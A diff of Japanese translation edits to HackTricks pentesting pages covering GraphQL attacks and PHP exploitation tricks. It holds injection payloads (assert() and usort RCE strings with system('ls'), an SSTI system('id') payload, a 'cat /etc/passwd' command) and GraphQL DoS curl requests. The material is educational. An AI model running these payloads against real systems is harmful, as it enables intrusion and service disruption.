|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../pentesting-web/websocket-attacks.md
|
../../pentesting-web/websocket-attacks.md
|
||||||
@ -453,7 +453,7 @@ GraphQLを悪用するCRSF脆弱性と同様に、**保護されていないク
|
|||||||
```
|
```
|
||||||
### GraphQLにおける認証バイパス
|
### GraphQLにおける認証バイパス
|
||||||
|
|
||||||
[クエリのチェーニング](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)を行うことで、弱い認証システムをバイパスすることができます。
|
[クエリのチェイニング](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)を行うことで、弱い認証システムをバイパスすることができます。
|
||||||
|
|
||||||
以下の例では、操作が「forgotPassword」であり、それに関連付けられたforgotPasswordクエリのみを実行する必要があることがわかります。これをバイパスするには、最後にクエリを追加します。この場合、「register」と新しいユーザーとしてシステムに登録するためのユーザー変数を追加します。
|
以下の例では、操作が「forgotPassword」であり、それに関連付けられたforgotPasswordクエリのみを実行する必要があることがわかります。これをバイパスするには、最後にクエリを追加します。この場合、「register」と新しいユーザーとしてシステムに登録するためのユーザー変数を追加します。
|
||||||
|
|
||||||
@ -461,13 +461,13 @@ GraphQLを悪用するCRSF脆弱性と同様に、**保護されていないク
|
|||||||
|
|
||||||
## GraphQLにおけるエイリアスを使用したレート制限のバイパス
|
## GraphQLにおけるエイリアスを使用したレート制限のバイパス
|
||||||
|
|
||||||
GraphQLでは、エイリアスはAPIリクエストを行う際に**プロパティを明示的に命名する**ことを可能にする強力な機能です。この機能は、**同じタイプ**のオブジェクトの**複数のインスタンス**を単一のリクエスト内で取得するのに特に便利です。エイリアスを使用することで、GraphQLオブジェクトが同じ名前の複数のプロパティを持つことを妨げる制限を克服できます。
|
GraphQLでは、エイリアスはAPIリクエストを行う際に**プロパティの名前を明示的に指定する**ことを可能にする強力な機能です。この機能は、**同じタイプ**のオブジェクトの**複数のインスタンス**を単一のリクエスト内で取得するのに特に便利です。エイリアスを使用することで、GraphQLオブジェクトが同じ名前の複数のプロパティを持つことを妨げる制限を克服できます。
|
||||||
|
|
||||||
GraphQLエイリアスの詳細な理解のために、以下のリソースを推奨します: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。
|
GraphQLエイリアスの詳細な理解のためには、次のリソースを推奨します: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。
|
||||||
|
|
||||||
エイリアスの主な目的は多数のAPI呼び出しの必要性を減らすことですが、エイリアスを利用してGraphQLエンドポイントに対するブルートフォース攻撃を実行するという意図しない使用例が特定されています。これは、一部のエンドポイントがブルートフォース攻撃を防ぐために**HTTPリクエストの数**を制限するレートリミッターによって保護されているため可能です。しかし、これらのレートリミッターは、各リクエスト内の操作の数を考慮しない場合があります。エイリアスを使用すると、単一のHTTPリクエスト内に複数のクエリを含めることができるため、そのようなレート制限を回避できます。
|
エイリアスの主な目的は、数多くのAPI呼び出しの必要性を減らすことですが、エイリアスを利用してGraphQLエンドポイントに対してブルートフォース攻撃を実行するという意図しない使用例が特定されています。これは、一部のエンドポイントがブルートフォース攻撃を防ぐために**HTTPリクエストの数**を制限するレートリミッターによって保護されているため可能です。しかし、これらのレートリミッターは、各リクエスト内の操作の数を考慮しない場合があります。エイリアスを使用することで、単一のHTTPリクエスト内に複数のクエリを含めることができるため、そのようなレート制限を回避できます。
|
||||||
|
|
||||||
以下の例を考えてみてください。これは、エイリアス付きのクエリを使用してストアの割引コードの有効性を確認する方法を示しています。この方法は、複数のクエリを1つのHTTPリクエストにまとめるため、レート制限を回避できる可能性があり、同時に多数の割引コードの確認を可能にします。
|
以下の例を考えてみてください。これは、エイリアス付きクエリを使用してストアの割引コードの有効性を確認する方法を示しています。この方法は、複数のクエリを1つのHTTPリクエストにまとめるため、レート制限を回避できる可能性があり、同時に多数の割引コードの確認を可能にします。
|
||||||
```bash
|
```bash
|
||||||
# Example of a request utilizing aliased queries to check for valid discount codes
|
# Example of a request utilizing aliased queries to check for valid discount codes
|
||||||
query isValidDiscount($code: Int) {
|
query isValidDiscount($code: Int) {
|
||||||
@ -482,18 +482,18 @@ valid
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
## GraphQLにおけるDoS
|
## DoS in GraphQL
|
||||||
|
|
||||||
### エイリアスのオーバーロード
|
### Alias Overloading
|
||||||
|
|
||||||
**エイリアスのオーバーロード**は、攻撃者が同じフィールドに対して多くのエイリアスでクエリをオーバーロードし、バックエンドリゾルバがそのフィールドを繰り返し実行するGraphQLの脆弱性です。これによりサーバーリソースが圧倒され、**サービス拒否(DoS)**につながる可能性があります。例えば、以下のクエリでは、同じフィールド(`expensiveField`)がエイリアスを使用して1,000回要求され、バックエンドがそれを1,000回計算することを強制され、CPUやメモリが枯渇する可能性があります:
|
**Alias Overloading**は、攻撃者が同じフィールドに対して多くのエイリアスでクエリを過負荷にするGraphQLの脆弱性であり、バックエンドリゾルバがそのフィールドを繰り返し実行する原因となります。これによりサーバーリソースが圧倒され、**Denial of Service (DoS)**につながる可能性があります。例えば、以下のクエリでは、同じフィールド(`expensiveField`)がエイリアスを使用して1,000回要求され、バックエンドがそれを1,000回計算することを強制され、CPUやメモリが枯渇する可能性があります:
|
||||||
```graphql
|
```graphql
|
||||||
# Test provided by https://github.com/dolevf/graphql-cop
|
# Test provided by https://github.com/dolevf/graphql-cop
|
||||||
curl -X POST -H "Content-Type: application/json" \
|
curl -X POST -H "Content-Type: application/json" \
|
||||||
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
|
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
|
||||||
'https://example.com/graphql'
|
'https://example.com/graphql'
|
||||||
```
|
```
|
||||||
これを軽減するために、リソースの悪用を防ぐためにエイリアスカウント制限、クエリの複雑さ分析、またはレート制限を実装します。
|
この問題を軽減するために、リソースの悪用を防ぐためにエイリアスカウント制限、クエリの複雑さ分析、またはレート制限を実装します。
|
||||||
|
|
||||||
### **配列ベースのクエリバッチ処理**
|
### **配列ベースのクエリバッチ処理**
|
||||||
|
|
||||||
@ -505,11 +505,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
|||||||
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
|
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
|
||||||
'https://example.com/graphql'
|
'https://example.com/graphql'
|
||||||
```
|
```
|
||||||
この例では、10の異なるクエリが1つのリクエストにバッチ処理され、サーバーにすべてを同時に実行させることを強制します。より大きなバッチサイズや計算コストの高いクエリで悪用されると、サーバーが過負荷になる可能性があります。
|
この例では、10の異なるクエリが1つのリクエストにバッチ処理され、サーバーがそれらを同時に実行することを強制します。より大きなバッチサイズや計算コストの高いクエリで悪用されると、サーバーが過負荷になる可能性があります。
|
||||||
|
|
||||||
### **ディレクティブオーバーローディング脆弱性**
|
### **ディレクティブオーバーローディング脆弱性**
|
||||||
|
|
||||||
**ディレクティブオーバーローディング**は、GraphQLサーバーが過剰で重複したディレクティブを持つクエリを許可する場合に発生します。これは、サーバーのパーサーとエグゼキュータを圧倒する可能性があり、特にサーバーが同じディレクティブロジックを繰り返し処理する場合に顕著です。適切な検証や制限がない場合、攻撃者は多数の重複ディレクティブを持つクエリを作成することで、計算またはメモリ使用量を高め、**サービス拒否(DoS)**を引き起こすことができます。
|
**ディレクティブオーバーローディング**は、GraphQLサーバーが過剰で重複したディレクティブを持つクエリを許可する場合に発生します。これは、サーバーのパーサーとエグゼキュータを圧倒する可能性があり、特にサーバーが同じディレクティブロジックを繰り返し処理する場合に顕著です。適切な検証や制限がない場合、攻撃者は多数の重複ディレクティブを持つクエリを作成することでこれを悪用し、高い計算またはメモリ使用を引き起こし、**サービス拒否(DoS)**につながる可能性があります。
|
||||||
```bash
|
```bash
|
||||||
# Test provided by https://github.com/dolevf/graphql-cop
|
# Test provided by https://github.com/dolevf/graphql-cop
|
||||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||||
@ -517,7 +517,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
|||||||
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
|
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
|
||||||
'https://example.com/graphql'
|
'https://example.com/graphql'
|
||||||
```
|
```
|
||||||
前の例では、`@aa` は宣言されていない可能性があるカスタムディレクティブです。通常存在する一般的なディレクティブは **`@include`** です:
|
前の例では、`@aa`は**宣言されていない可能性がある**カスタムディレクティブであることに注意してください。通常存在する一般的なディレクティブは**`@include`**です:
|
||||||
```bash
|
```bash
|
||||||
curl -X POST \
|
curl -X POST \
|
||||||
-H "Content-Type: application/json" \
|
-H "Content-Type: application/json" \
|
||||||
@ -531,11 +531,11 @@ curl -X POST \
|
|||||||
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
|
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
|
||||||
'https://example.com/graphql'
|
'https://example.com/graphql'
|
||||||
```
|
```
|
||||||
そして、**いくつかのカスタム**を使用します。
|
そして**カスタムのいくつかを使用します**。
|
||||||
|
|
||||||
### **フィールド重複脆弱性**
|
### **フィールド重複脆弱性**
|
||||||
|
|
||||||
**フィールド重複**は、GraphQLサーバーが同じフィールドを過度に繰り返すクエリを許可する脆弱性です。これにより、サーバーは各インスタンスのためにフィールドを冗長に解決する必要があり、重要なリソース(CPU、メモリ、データベース呼び出し)を消費します。攻撃者は、何百または何千もの繰り返されたフィールドを持つクエリを作成することができ、高負荷を引き起こし、最終的には**サービス拒否(DoS)**につながる可能性があります。
|
**フィールド重複**は、GraphQLサーバーが同じフィールドを過剰に繰り返すクエリを許可する脆弱性です。これにより、サーバーは各インスタンスのためにフィールドを冗長に解決する必要があり、重要なリソース(CPU、メモリ、データベース呼び出し)を消費します。攻撃者は、数百または数千の繰り返されたフィールドを持つクエリを作成することができ、高負荷を引き起こし、最終的には**サービス拒否(DoS)**につながる可能性があります。
|
||||||
```bash
|
```bash
|
||||||
# Test provided by https://github.com/dolevf/graphql-cop
|
# Test provided by https://github.com/dolevf/graphql-cop
|
||||||
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
|
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
|
||||||
|
@ -2,7 +2,8 @@
|
|||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Cookies common location:
|
|
||||||
|
## Cookiesの一般的な場所:
|
||||||
|
|
||||||
これはphpMyAdminのクッキーにも当てはまります。
|
これはphpMyAdminのクッキーにも当てはまります。
|
||||||
|
|
||||||
@ -22,9 +23,9 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|||||||
|
|
||||||
### 緩やかな比較/型ジャグリング ( == )
|
### 緩やかな比較/型ジャグリング ( == )
|
||||||
|
|
||||||
PHPで`==`が使用されると、比較が期待通りに動作しない予期しないケースがあります。これは、"=="が同じ型に変換された値のみを比較するためです。比較するデータの型も同じであることを確認したい場合は、`===`を使用する必要があります。
|
PHPで`==`が使用されると、比較が期待通りに動作しない予期しないケースがあります。これは、"=="が同じ型に変換された値のみを比較するためです。比較されるデータの型も同じであることを比較したい場合は、`===`を使用する必要があります。
|
||||||
|
|
||||||
PHP比較表: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
PHP比較テーブル: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -34,7 +35,7 @@ PHP比較表: [https://www.php.net/manual/en/types.comparisons.php](https://www.
|
|||||||
- `"0xAAAA" == "43690" -> True` 10進数または16進数形式の数字で構成された文字列は、数字が同じであれば他の数字/文字列と比較でき、結果はTrueになります(文字列内の数字は数字として解釈されます)
|
- `"0xAAAA" == "43690" -> True` 10進数または16進数形式の数字で構成された文字列は、数字が同じであれば他の数字/文字列と比較でき、結果はTrueになります(文字列内の数字は数字として解釈されます)
|
||||||
- `"0e3264578" == 0 --> True` "0e"で始まり、何かが続く文字列は0と等しい
|
- `"0e3264578" == 0 --> True` "0e"で始まり、何かが続く文字列は0と等しい
|
||||||
- `"0X3264578" == 0X --> True` "0"で始まり、任意の文字(Xは任意の文字)で続き、何かが続く文字列は0と等しい
|
- `"0X3264578" == 0X --> True` "0"で始まり、任意の文字(Xは任意の文字)で続き、何かが続く文字列は0と等しい
|
||||||
- `"0e12334" == "0" --> True` これは非常に興味深いです。なぜなら、場合によっては"0"の文字列入力とそれにハッシュされて比較されるコンテンツを制御できるからです。したがって、"0e"で始まり、任意の文字がないハッシュを生成する値を提供できれば、比較をバイパスできる可能性があります。この形式の**すでにハッシュされた文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
- `"0e12334" == "0" --> True` これは非常に興味深いです。なぜなら、場合によっては"0"の文字列入力とそれにハッシュされて比較されるコンテンツを制御できるからです。したがって、"0e"で始まり、文字が含まれないハッシュを生成する値を提供できれば、比較をバイパスできる可能性があります。この形式の**すでにハッシュされた文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||||
- `"X" == 0 --> True` 文字列内の任意の文字はint 0と等しい
|
- `"X" == 0 --> True` 文字列内の任意の文字はint 0と等しい
|
||||||
|
|
||||||
詳細は[https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)を参照してください。
|
詳細は[https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)を参照してください。
|
||||||
@ -85,18 +86,18 @@ echo preg_match("/^.*1/",$myinput);
|
|||||||
echo preg_match("/^.*1.*$/",$myinput);
|
echo preg_match("/^.*1.*$/",$myinput);
|
||||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||||
```
|
```
|
||||||
このチェックを回避するには、**新しい行をURLエンコードした値**(`%0A`)を**送信する**か、**JSONデータ**を送信できる場合は、**複数行**で送信します:
|
このチェックを回避するには、**新しい行をURLエンコードした値を送信する**(`%0A`)か、**JSONデータ**を送信できる場合は、**複数行で送信**します:
|
||||||
```php
|
```php
|
||||||
{
|
{
|
||||||
"cmd": "cat /etc/passwd"
|
"cmd": "cat /etc/passwd"
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
例を見つけるにはこちらを参照してください: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
||||||
|
|
||||||
#### **長さエラーのバイパス**
|
#### **長さエラーのバイパス**
|
||||||
|
|
||||||
(このバイパスは明らかにPHP 5.2.5で試され、PHP 7.3.15では動作しませんでした)\
|
(このバイパスは明らかに PHP 5.2.5 で試され、PHP 7.3.15 では動作しませんでした)\
|
||||||
`preg_match()`に有効な非常に**大きな入力**を送信すると、**処理できなくなり**、チェックを**バイパス**できるようになります。たとえば、JSONをブラックリストにしている場合、次のように送信できます:
|
`preg_match()` に有効な非常に **大きな入力** を送信すると、**処理できなくなり**、チェックを **バイパス** できるようになります。たとえば、JSON をブラックリストにしている場合、次のように送信できます:
|
||||||
```bash
|
```bash
|
||||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||||
```
|
```
|
||||||
@ -108,13 +109,13 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
|||||||
|
|
||||||
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
要するに、問題は PHP の `preg_*` 関数が [PCRE ライブラリ](http://www.pcre.org/) に基づいているために発生します。PCRE では、特定の正規表現が多くの再帰呼び出しを使用して一致するため、スタックスペースを大量に消費します。再帰の許可数に制限を設定することは可能ですが、PHP ではこの制限は [デフォルトで 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) であり、スタックに収まる以上の数です。
|
要するに、問題は PHP の `preg_*` 関数が [PCRE ライブラリ](http://www.pcre.org/) に基づいているために発生します。PCRE では、特定の正規表現が多くの再帰呼び出しを使用して一致するため、スタックスペースを大量に消費します。再帰の回数に制限を設定することは可能ですが、PHP ではこの制限は [デフォルトで 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) であり、スタックに収まる以上の数です。
|
||||||
|
|
||||||
[この Stackoverflow スレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) もこの問題について詳しく説明されている投稿にリンクされています。私たちのタスクは明確でした:\
|
[この Stackoverflow スレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) もこの問題について詳しく説明されている投稿にリンクされています。私たちのタスクは明確でした:\
|
||||||
**正規表現が 100,000 回以上の再帰を行うような入力を送信し、SIGSEGV を引き起こし、`preg_match()` 関数が `false` を返すようにして、アプリケーションが私たちの入力を悪意のないものと考えさせ、ペイロードの最後に `{system(<verybadcommand>)}` のような驚きを投げかけて SSTI --> RCE --> フラグ :)**。
|
**正規表現が 100,000 回以上の再帰を行うような入力を送信し、SIGSEGV を引き起こし、`preg_match()` 関数が `false` を返すようにして、アプリケーションが私たちの入力を悪意のあるものではないと考えさせ、ペイロードの最後に `{system(<verybadcommand>)}` のような驚きを投げかけて SSTI --> RCE --> フラグ :)**。
|
||||||
|
|
||||||
さて、正規表現の用語で言えば、実際には 100k の「再帰」を行っているわけではなく、「バックトラッキングステップ」を数えているのです。これは [PHP ドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) によれば、`pcre.backtrack_limit` 変数のデフォルトは 1,000,000 (1M) です。\
|
さて、正規表現の用語で言えば、実際には 100k の「再帰」を行っているわけではなく、代わりに「バックトラッキングステップ」を数えています。これは [PHP ドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) によれば、`pcre.backtrack_limit` 変数のデフォルトは 1,000,000 (1M) です。\
|
||||||
それを達成するために、`'X'*500_001` は 100 万のバックトラッキングステップ(500k 前進と 500k 後退)を生成します:
|
それを達成するために、`'X'*500_001` は 100 万のバックトラッキングステップ(500k 前方と 500k 後方)を生成します:
|
||||||
```python
|
```python
|
||||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||||
```
|
```
|
||||||
@ -131,7 +132,7 @@ $obfs += ""; //int 7
|
|||||||
```
|
```
|
||||||
## Execute After Redirect (EAR)
|
## Execute After Redirect (EAR)
|
||||||
|
|
||||||
PHPが別のページにリダイレクトしているが、ヘッダー`Location`が設定された後に**`die`**または**`exit`**関数が**呼び出されていない**場合、PHPは実行を続け、データをボディに追加します:
|
PHPが別のページにリダイレクトしているが、ヘッダー`Location`が設定された後に**`die`**または**`exit`**関数が**呼び出されない**場合、PHPは実行を続け、データをボディに追加します:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
// In this page the page will be read and the content appended to the body of
|
// In this page the page will be read and the content appended to the body of
|
||||||
@ -151,11 +152,11 @@ readfile($page);
|
|||||||
|
|
||||||
## さらなるトリック
|
## さらなるトリック
|
||||||
|
|
||||||
- **register_globals**: **PHP < 4.1.1.1** または誤って設定された場合、**register_globals** が有効である可能性があります(またはその動作が模倣されています)。これは、グローバル変数のような $\_GET に値がある場合、例えば $\_GET\["param"]="1234" のように、**$param** を介してアクセスできることを意味します。したがって、HTTP パラメータを送信することで、コード内で使用される変数を上書きすることができます\*\*。
|
- **register_globals**: **PHP < 4.1.1.1** または誤って設定された場合、**register_globals** が有効である可能性があります(またはその動作が模倣されています)。これは、グローバル変数のような $\_GET に値がある場合、例えば $\_GET\["param"]="1234" のように、**$param** を介してアクセスできることを意味します。したがって、HTTP パラメータを送信することで、コード内で使用される変数を上書きすることができます。
|
||||||
- **同じドメインの PHPSESSION クッキーは同じ場所に保存されます**。したがって、ドメイン内で **異なるパスで異なるクッキーが使用されている場合**、そのパスが **他のパスのクッキーにアクセスする** ように設定することができます。\
|
- **同じドメインの PHPSESSION クッキーは同じ場所に保存されます**。したがって、ドメイン内で **異なるパスで異なるクッキーが使用されている場合**、そのパスが **他のパスのクッキーにアクセスする** ように設定することができます。\
|
||||||
この方法で、**両方のパスが同じ名前の変数にアクセスする場合**、**path1 のその変数の値を path2 に適用する**ことができます。そして、path2 は path1 の変数を有効と見なします(クッキーに path2 に対応する名前を付けることによって)。
|
この方法で、**両方のパスが同じ名前の変数にアクセスする場合**、**path1 のその変数の値を path2 に適用する**ことができます。そして、path2 は path1 の変数を有効と見なします(クッキーに path2 に対応する名前を付けることによって)。
|
||||||
- マシンの **ユーザー名** を持っている場合は、アドレス **/\~\<USERNAME>** をチェックして、php ディレクトリが有効になっているか確認してください。
|
- マシンの **ユーザー名** を持っている場合、アドレス **/\~\<USERNAME>** をチェックして、php ディレクトリが有効になっているか確認します。
|
||||||
- [**LFI と RCE を php ラッパーを使用して**](../../../pentesting-web/file-inclusion/)
|
- [**LFI と RCE を使用した php ラッパー**](../../../pentesting-web/file-inclusion/index.html)
|
||||||
|
|
||||||
### password_hash/password_verify
|
### password_hash/password_verify
|
||||||
|
|
||||||
@ -201,7 +202,7 @@ php-ssrf.md
|
|||||||
&#xNAN;**\`ls\`;**\
|
&#xNAN;**\`ls\`;**\
|
||||||
**shell_exec("ls");**
|
**shell_exec("ls");**
|
||||||
|
|
||||||
[こちらをチェックして、より便利なPHP関数を確認してください](php-useful-functions-disable_functions-open_basedir-bypass/)
|
[こちらをチェックして、より便利なPHP関数を確認してください](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
|
||||||
|
|
||||||
### **preg_replace()**による**RCE**
|
### **preg_replace()**による**RCE**
|
||||||
```php
|
```php
|
||||||
@ -221,8 +222,8 @@ preg_replace("/a/e","phpinfo()","whatever")
|
|||||||
```
|
```
|
||||||
### **Assert()によるRCE**
|
### **Assert()によるRCE**
|
||||||
|
|
||||||
このphp内の関数は、**文字列で書かれたコードを実行する**ことを可能にし、**真または偽を返す**(これに応じて実行を変更する)。通常、ユーザー変数は文字列の中間に挿入される。例えば:\
|
このphp内の関数は、**文字列で書かれたコードを実行**して、**trueまたはfalseを返す**ことを可能にします(これに応じて実行を変更します)。通常、ユーザー変数は文字列の中間に挿入されます。例えば:\
|
||||||
`assert("strpos($_GET['page']),'..') === false")` --> この場合、**RCE**を得るためには次のようにすることができる:
|
`assert("strpos($_GET['page']),'..') === false")` --> この場合、**RCE**を得るためには次のようにできます:
|
||||||
```
|
```
|
||||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||||
```
|
```
|
||||||
@ -232,7 +233,7 @@ preg_replace("/a/e","phpinfo()","whatever")
|
|||||||
|
|
||||||
**別のオプション**(内部コードがある場合)は、実行を変更するために変数を修正することです:`$file = "hola"`
|
**別のオプション**(内部コードがある場合)は、実行を変更するために変数を修正することです:`$file = "hola"`
|
||||||
|
|
||||||
### **usort()を介したRCE**
|
### **usort()によるRCE**
|
||||||
|
|
||||||
この関数は、特定の関数を使用してアイテムの配列をソートするために使用されます。\
|
この関数は、特定の関数を使用してアイテムの配列をソートするために使用されます。\
|
||||||
この関数を悪用するには:
|
この関数を悪用するには:
|
||||||
@ -263,28 +264,28 @@ usort();}phpinfo;#, "cmp");
|
|||||||
- `?order=id);}//`: **警告**が表示されます。それは正しいようです。
|
- `?order=id);}//`: **警告**が表示されます。それは正しいようです。
|
||||||
- `?order=id));}//`: エラーメッセージが表示されます(`Parse error: syntax error, unexpected ')' i`)。おそらく、閉じ括弧が多すぎます。
|
- `?order=id));}//`: エラーメッセージが表示されます(`Parse error: syntax error, unexpected ')' i`)。おそらく、閉じ括弧が多すぎます。
|
||||||
|
|
||||||
### **.httaccess経由のRCE**
|
### **.httaccessを介したRCE**
|
||||||
|
|
||||||
**.htaccess**を**アップロード**できる場合、いくつかの設定を行い、コードを実行することさえできます(.htaccess拡張子のファイルが**実行**されるように設定すること)。
|
**.htaccess**を**アップロード**できる場合、いくつかの設定を行い、コードを実行することさえできます(.htaccess拡張子のファイルが**実行**できるように設定すること)。
|
||||||
|
|
||||||
異なる.htaccessシェルは[こちら](https://github.com/wireghoul/htshells)で見つけることができます。
|
異なる.htaccessシェルは[こちら](https://github.com/wireghoul/htshells)で見つけることができます。
|
||||||
|
|
||||||
### 環境変数経由のRCE
|
### 環境変数を介したRCE
|
||||||
|
|
||||||
PHPで**環境変数を変更する**ことを許可する脆弱性を見つけた場合(ファイルをアップロードするための別の脆弱性も必要ですが、さらに調査すれば回避できるかもしれません)、この動作を悪用して**RCE**を取得できます。
|
